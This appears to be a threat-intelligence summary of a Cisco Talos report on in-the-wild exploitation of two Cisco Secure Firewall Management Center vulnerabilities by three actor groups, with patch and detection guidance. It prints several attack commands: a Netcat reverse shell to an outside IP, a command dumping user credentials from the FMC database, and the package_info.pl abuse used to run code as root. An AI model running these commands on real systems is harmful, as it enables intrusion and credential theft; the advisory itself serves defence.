Active exploitation of Cisco Secure Firewall Management Center vulnerabilities

What it is

Cisco Talos details in-the-wild exploitation of CVE-2026-20079 (CVSS 10.0, unauthenticated auth bypass → root) and CVE-2026-20316 (CVSS 5.3, static-credential low-privilege login) in Cisco Secure Firewall Management Center (FMC).

How it works

• UAT-12197: exploits CVE-2026-20079 to drop a JSP web shell into the CSM Tomcat webroot. The shell Base64-decodes a parameter (F6C1F0E7) naming a Java class to load. It then stages cmd.jar, a generic command executor run as /var/jre/bin/java -jar cmd.jar, which calls /bin/sh -c <command>. It was used to query the FMC's internal database for credentials:

/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \'SELECT name, auth_data FROM users;\''

• UAT-11823 (overlaps with Sandworm): gains access via CVE-2026-20079 or static creds (CVE-2026-20316), then replaces license.tmp with a malicious Makeself package, installed as root via the legitimate package_info.pl utility:

/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm

This spawns a Netcat reverse shell (mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f), then pulls a Cyclops Blink ELF implant (DoH-based C2, file/credential/command exec, network scanning, packet sniffing, persistence via /etc/init.d/), plus two bash scripts that archive managed-device configs for exfiltration.

• UAT-11988 (Qilin affiliate): logs in with static creds (CVE-2026-20316), abuses package_info.pl with a crafted license.tmp to run recon as root (AD/MySQL creds, domain accounts, DC/ADFS/Exchange/file/DB server mappings), exfiltrates via HTTP GET, then pivots with a Python SOCKS5 proxy (socks5.py) and reverse-SSH tunneling specific ports — LDAP 389, LDAPS 636, Kerberos 88, SMB 445, NETBIOS 135, WinRM 5985 — before deploying impacket, Invoke-TheHash, custom AV killers, and Qilin ransomware.

flowchart TD
    A[Access FMC] -->|CVE-2026-20079 unauth RCE| B[Root via web shell/JAR]
    A -->|CVE-2026-20316 static creds| C[Low-priv login]
    C --> D[package_info.pl abuse via license.tmp]
    B --> E[UAT-12197: cmd.jar DB credential theft]
    D --> F[UAT-11823: Netcat shell -> Cyclops Blink]
    D --> G[UAT-11988: recon -> SOCKS5/SSH tunnel -> Qilin ransomware]

Preconditions / Affected

Unpatched Cisco Secure FMC software; CVE-2026-20316 requires knowledge of static credentials but can chain with other FMC vulnerabilities to escalate privileges.

What to do

Apply the hotfixes Cisco has already released for both CVEs ahead of a comprehensive hardening release (week of Sept. 14/16, per the page's two differing mentions). Deploy detection: Snort SIDs 66075–66080 (CVE-2026-20079), 66883 (CVE-2026-20316), and 66960–66961 (malware). IOCs are published in Talos's GitHub repository.

Caveats

The page states two different dates for the hardening release ("Week of September 14th" and later "Week of September 16th") — treat as approximate.